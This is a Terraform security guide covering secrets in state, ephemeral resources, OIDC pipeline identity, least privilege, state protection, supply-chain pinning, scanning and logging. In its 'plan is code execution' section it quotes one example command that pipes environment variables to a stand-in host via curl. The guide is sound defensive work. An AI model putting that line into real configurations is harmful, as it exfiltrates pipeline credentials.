A Terraform pipeline that can apply to production can delete production. It also reads every secret in every state file it touches. Security for Terraform is about five things:
| Asset | Threat | Controls on this page |
|---|---|---|
| Secrets | Leaked through state, plans, logs, outputs | Keep secrets out of state |
| Credentials | Long-lived keys stolen; one identity with access to everything | Identity for pipelines |
| State and plans | Read (secrets) or tampered with (sabotage) | Protect state and plans |
| Supply chain | Malicious or compromised providers, modules, binaries | Supply chain |
| Configuration | Insecure resources (public storage, open NSGs) | Scanning and policy |
Scanner installation and usage: security scanning tools.
Keep secrets out of state¶
The problem¶
Any value a resource stores ends up in state in plaintext. sensitive = true only hides it from CLI output:
resource "random_password" "db" {
length = 32
}
resource "azurerm_mssql_server" "this" {
# ...
administrator_login_password = random_password.db.result # in state twice
}
Ephemeral resources and write-only arguments¶
Terraform 1.10 introduced ephemeral resources: values fetched or generated during a run, never written to state or plan files. Terraform 1.11 added write-only arguments: resource arguments the provider sends to the API but never stores. OpenTofu has both since 1.11. Together they close the loop:
# Generated per run, never persisted
ephemeral "random_password" "db" {
length = 32
}
# Store it in Key Vault without it touching state
resource "azurerm_key_vault_secret" "db_admin" {
name = "sql-admin-password"
key_vault_id = azurerm_key_vault.this.id
value_wo = ephemeral.random_password.db.result
value_wo_version = 1 # bump to rotate; Terraform can't diff a value it never stored
}
Reading an existing secret, ephemerally:
ephemeral "azurerm_key_vault_secret" "db_admin" {
name = "sql-admin-password"
key_vault_id = data.azurerm_key_vault.platform.id
}
resource "azurerm_mssql_server" "this" {
# ...
administrator_login_password_wo = ephemeral.azurerm_key_vault_secret.db_admin.value
administrator_login_password_wo_version = 1
}
Rules of ephemerality:
- Ephemeral values can only flow into ephemeral contexts: write-only arguments, provider configuration, other ephemeral resources,
localsthat only feed those, ephemeral variables and outputs. - Write-only arguments always show as
(write-only attribute)in plans. Change detection is your job, which is what the*_wo_versioncompanion arguments are for. - Which resources have
*_woarguments depends on provider versions. Check the registry docs for_wo. - An ephemeral data source is different from a normal
datasource:data "azurerm_key_vault_secret"does store the value in state.
Avoid secrets entirely¶
Better than hiding a secret is not having one:
- Managed identities / workload identity instead of keys and connection strings (App Service → SQL with Entra auth, AKS workload identity → Key Vault).
- Key Vault references in App Service settings (
@Microsoft.KeyVault(SecretUri=...)) instead of secret values. - Disable shared keys on storage accounts (
shared_access_key_enabled = false). - Let the service generate and keep the secret where possible, and have consumers read it at runtime.
Don't output secrets¶
# ❌ ends up in root outputs, readable via terraform_remote_state by anyone with state access
output "storage_key" {
value = azurerm_storage_account.this.primary_access_key
sensitive = true
}
# ✅ output a pointer, not the secret
output "storage_key_secret_id" {
value = azurerm_key_vault_secret.storage_key.versionless_id
}
Never in code or tfvars¶
- No secrets in
.tf,.tfvarsorterragrunt.hclcommitted to Git. UseTF_VAR_*from the CI secret store, ephemeral data from a vault, or SOPS-encrypted files (Terragrunt'ssops_decrypt_file). - Scan for them: gitleaks, trufflehog, detect-secrets in pre-commit and CI (tools).
Identity for pipelines¶
Use OIDC / workload identity federation¶
No client secrets in CI variables. The CI platform issues a short-lived OIDC token per job, and the cloud exchanges it for an access token:
# GitLab CI → Azure
plan:prod:
environment: { name: prod, action: prepare }
id_tokens:
ARM_OIDC_TOKEN:
aud: api://AzureADTokenExchange
variables:
ARM_USE_OIDC: "true"
ARM_CLIENT_ID: $PROD_PLAN_CLIENT_ID
ARM_TENANT_ID: $AZURE_TENANT_ID
ARM_SUBSCRIPTION_ID: $PROD_SUBSCRIPTION_ID
script:
- terraform init -input=false
- terraform plan -input=false -out=tfplan
The federated credential on the Entra app registration (or user-assigned managed identity) is scoped by subject claim, e.g. project_path:acme/infrastructure-live:ref_type:branch:ref:main or by environment, so only that project and branch/environment can get the token.
Equivalents: AWS AssumeRoleWithWebIdentity with an IAM OIDC provider; GCP Workload Identity Federation; Vault JWT auth.
Least privilege¶
- One identity per environment. The dev identity has no role in prod subscriptions.
- Separate plan and apply identities where practical: plan needs
Readerplus data-plane reads (and state access); apply needs write. MR pipelines get the plan identity only. - Scope roles to what the stack manages: a network stack's identity gets Network Contributor on the network resource groups, not Owner on the subscription.
- RBAC-writing stacks are special. A stack that creates role assignments needs
User Access AdministratororRole Based Access Control Administrator(with conditions limiting which roles it can assign). Isolate those stacks (e.g. a dedicatedinfrastructure.rbacrepo) and review them more strictly. - Break-glass human access to state and prod, logged and time-limited (PIM).
Local development¶
Humans plan with their own identity via az login, read-only in shared environments. Apply to shared environments only through CI. For local runs against CI-only variables, see the patterns in practices.
Protect state and plans¶
Covered in detail in state management and remote state. The short list:
- Remote backend, encrypted at rest, versioned, with locking
- Entra ID / IAM auth only; no shared account keys
- Separate storage per environment; private network access
- Plan files are as sensitive as state. Short artifact retention, never attached to MR comments in full
- OpenTofu users: client-side state encryption
Plan is code execution¶
terraform plan is not read-only from a security point of view. During plan, Terraform:
- Downloads and runs provider binaries named in the configuration
- Runs
data "external"programs and thehttpdata source - Evaluates
templatefile,fileand provider functions - Runs any Terragrunt hooks and
run_cmdcalls
So a merge request that adds data "external" "x" { program = ["bash", "-c", "env | curl -d @- https://evil"] } exfiltrates the pipeline's credentials at plan time, before anyone reviews it.
Mitigations:
- Never run plan with real credentials on untrusted code (forks, external contributors). GitLab doesn't expose protected variables to MR pipelines from forks; keep it that way.
- MR plans use the read-only plan identity, which limits but doesn't remove the blast radius (it can still read state and secrets).
- Allow-list providers with a provider mirror or
provider_installationblock, so a new provider source failsinitin CI. - Flag
external,httpandlocal-execin review with a policy or tflint rule. - Run plans in ephemeral, isolated runners with no access beyond the cloud APIs they need.
Supply chain¶
Providers¶
- Commit
.terraform.lock.hcl. It pins provider versions and checksums, so a tampered provider failsinit. Generate hashes for every platform your team and CI use:
bash
terraform providers lock \
-platform=linux_amd64 \
-platform=darwin_arm64 \
-platform=windows_amd64
- Constrain versions in
required_providers; upgrade deliberately withinit -upgradein a reviewed MR. - Mirror providers internally for CI (
terraform providers mirror, Artifactory, a network mirror) and restrict installation sources:
hcl
# ~/.terraformrc or TF_CLI_CONFIG_FILE in CI
provider_installation {
network_mirror {
url = "https://terraform-mirror.example.com/providers/"
include = ["registry.terraform.io/hashicorp/*", "registry.terraform.io/azure/*"]
}
direct {
exclude = ["registry.terraform.io/*/*"]
}
}
- Be wary of unofficial providers with few downloads and one maintainer. Prefer official/partner tiers.
Modules¶
- Pin to tags or commit SHAs; for third-party Git modules, prefer SHAs (tags can be moved).
- Vendor or fork critical third-party modules into your registry.
- Review module upgrades like code changes. Renovate MRs show the diff.
The binary¶
- Install from HashiCorp's or OpenTofu's official packages, and verify checksums and signatures for manual downloads (install).
- Pin the version (
required_version,.terraform-version, CI image tag).
Static scanning¶
Scan configuration (and ideally plan JSON) in pre-commit and CI:
| Tool | Strength |
|---|---|
| Checkov | Huge policy library, plan scanning, custom policies in Python/YAML |
Trivy (trivy config) |
Successor to tfsec; one tool for IaC, images and dependencies |
| KICS | Broad IaC coverage, Rego-based queries |
| TFLint + ruleset plugins | Provider-aware linting (invalid SKUs, deprecated arguments) |
| Conftest / OPA | Your own rules in Rego (policy) |
Install and usage examples, including secret scanners: security scanning tools.
Scanners produce findings you'll disagree with. Suppress inline with a reason:
resource "azurerm_storage_account" "public_web" {
# checkov:skip=CKV_AZURE_59: static website for public marketing content
# trivy:ignore:AVD-AZU-0012
# ...
}
Logging¶
TF_LOG=DEBUGandTF_LOG=TRACEprint request and response bodies, including secrets and tokens. Never enable them in shared CI logs; if you must, useTF_LOG_PATHto a file and delete it.- Mask secrets in CI (GitLab masked variables), and remember masking only catches exact matches.
Checklist¶
- [ ] No secrets in Git (scanner in pre-commit and CI)
- [ ] Ephemeral resources / write-only args for secrets the stack generates or consumes
- [ ] No secret outputs
- [ ] OIDC federation, no client secrets in CI
- [ ] Per-environment identities, plan vs apply separation, least-privilege roles
- [ ] State: versioned, encrypted, private, per-environment, Entra ID auth only
- [ ] Plan artifacts short-lived and restricted
- [ ] No real credentials on untrusted MR plans
- [ ] Lock file committed with multi-platform hashes; provider sources restricted
- [ ] Modules pinned to tags/SHAs
- [ ] Static scanning + policy gate in CI
- [ ]
TF_LOGoff in CI